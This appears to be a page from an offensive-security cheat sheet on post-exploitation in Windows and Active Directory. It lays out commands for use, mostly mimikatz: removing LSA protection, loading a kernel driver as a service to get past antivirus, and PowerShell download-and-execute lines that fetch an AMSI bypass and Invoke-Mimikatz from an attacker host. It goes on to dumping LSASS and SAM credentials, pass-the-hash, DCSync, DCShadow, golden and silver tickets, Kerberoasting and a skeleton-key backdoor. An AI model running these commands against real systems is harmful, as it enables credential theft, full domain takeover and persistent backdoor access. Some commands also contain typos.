> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/post-exploit/exfiltration.md).
# Exfiltration
## PoC
Linux
```
cat proof.txt && whoami && hostname && ip addr
```
```
cat local.txt && whoami && hostname && ip addr
```
Windows
```
type proof.txt && whoami && hostname && ipconfig
```
```
type local.txt && whoami && hostname && ipconfig
```
## Catch the Flag
**Windows**
```
dir "\proof*.txt" /s
PS> gci -recurse -inculde FILENAME*
```
search credentials or password:
```
gci -path . -recurse -ea SilentlyContinue -Include *.txt,*.ini,*.yml,*.xml,*.ps1,*.cfg |select-string pass
```
**Linux**
```
find / -type f -iname "flag.txt" 2>/dev/null
```
## Dump Active Directory with PS
## Dump with dump.exe
make sure you able to access Lsass or you have managed the bypass LSA Protection to remove protection.
build it with configuration Release, x64, then run in the compromised user with NT AUTHORITY/SYSTEM priviledge.
the result is in the directory `C:\Windows\Tasks\lsass.dmp`
then use this command to exctract lsass.dmp via kali linux:
```
pypykatz lsa minidump lsass.dmp
```
or via windows machine:
```
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```
##
## Dump with Mimikatz
ref:
cheatsheet:
copy from:
### Bypass LSA Protection
{% hint style="info" %}
make sure mimikatz.sys in same folder with mimikatz.exe
{% endhint %}
run this command:
```
.\mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"
```
### Bypass AV and LSA
{% hint style="info" %}
make sure the current shell is NT AUTHORITY\SYSTEM
{% endhint %}
copy mimidrv.sys or mimikats.sys (driver) into the target computer
then create new service
```
sc create mimidrv binPath= C:\windows\tasks\mimidrv.sys type= kernel start= demand
```
`[SC] CreateService SUCCESS`
start new service
```
sc start mimidrv
```
then you able to load mimikatz into memory with Invoke-Mimikatz
```
# disabled AMSI
(new-object system.net.webclient).downloadstring('http://192.168.x.y/amsi.txt') |IEX
# invoke-mimikatz with powershell
(new-object system.net.webclient).downloadstring('http://192.168.x.y/Invoke-Mimikatz.ps1') |IEX
```
Disable LSA Protection
```
Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
```
if success:
```
# mimikatz(powershell) # !processprotect /process:lsass.exe /remove
# Process : lsass.exe
PID 123 -> 00/00 [0-0-0]
```
Now you able to interact with Lsass.
### **\[Important to start first]**** Test Mimikatz**
```
privilege::debug
# Privilege '20' OK => Working properly
```
### **Password / hashes**
```
# dump logon users pass or ntlm hash
sekurlsa::logonpasswords
# dump hashes
lsadump:sam
lsadump::lsa [/inject | /patch]
# hashcat -m 1000
```
### **Escalate privilege using NTLM Hash**
ref:
```
# get NTLM hash of Administrator from `securlsa::logonpasswords
sekurlsa::pth /user:Administrator /domain:lab.local /ntlm: /run:cmd
```
### **DCsync (Priviledge Escalation AD)**
\[requirement] user must have permission to domain:
* Replication Directory Changes
* Replication Directory Changes All
```
lsadump::dcsync /user:krbtgt
lsadump::dcsync /user:administrator
```
### **\[recommended to start]**** Elevate shell integrity**
```
# use when using evil-winrm, we get medium integrity shells
token::elevate
```
### **DCshadow**
```
#simple poc
lsadump::dcshadow /object:CN=administrator,CN=users,DC=hackers,DC=local /attribute:description /value:"modified dcshadow"
```
#### **Attack DCshadow and DCsync (persistence domain admin / AD Attribute Takeover)**
Use case:
* Bypass MFA
```
# set update attribute
token::elevate
lsadump::dcshadow /object:CN=administrator,CN=users,DC=hackers,DC=local /attribute:telephoneNumber /value:"123-123-223"
# Power up other mimikatz shell to push
lsadump::dcshadow /push
```
### **Golden / Silver Ticket**
```
# dump hash and SID
lsadump::lsa /inject /name: [krbtgt | DOMAIN_ADMIN_ACCOUNT | SERVICE_ACCOUNT]
# create golden ticket and pass-the-ticket
kerberos::golden /user:Administrator /domain:DOMAIN /sid:SID /krbtgt:KRBTGT_NTLM_HASH /id:500 /ptt
# create silver ticket and pass-the-ticket
kerberos::golden /user: /domain:DOMAINM /sid:SID /krbtgt:SERVICE_NTLM_hash /id:1103 /ptt
# check
misc::cmd
dir \\IP\c$ [/user:USER PASS]
PsExec.exe \\IP cmd.exe
# Kerberoasing attack
# ref: https://www.netwrix.com/cracking_kerberos_tgs_tickets_using_kerberoasting.html
kerberos::list /export
# download ticket in C:\kerberoast and crack with tgsrepcrack.py
```
### **Kerberos Skeleton key**
Install backdoor to memory, and make all user can use same password "`mimikatz`".
note: if the machine was reboot, this backdoor can't exists.
```
misc::skeleton
# done, now accessing admin share
> net use C:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
> dir \\Desktop-1\c$ /user:Machine1 mimikatz
```
## Get DNS Zone
```
cd C:\Windows
PS> gci -recurse -inculde *
```
Online request server:\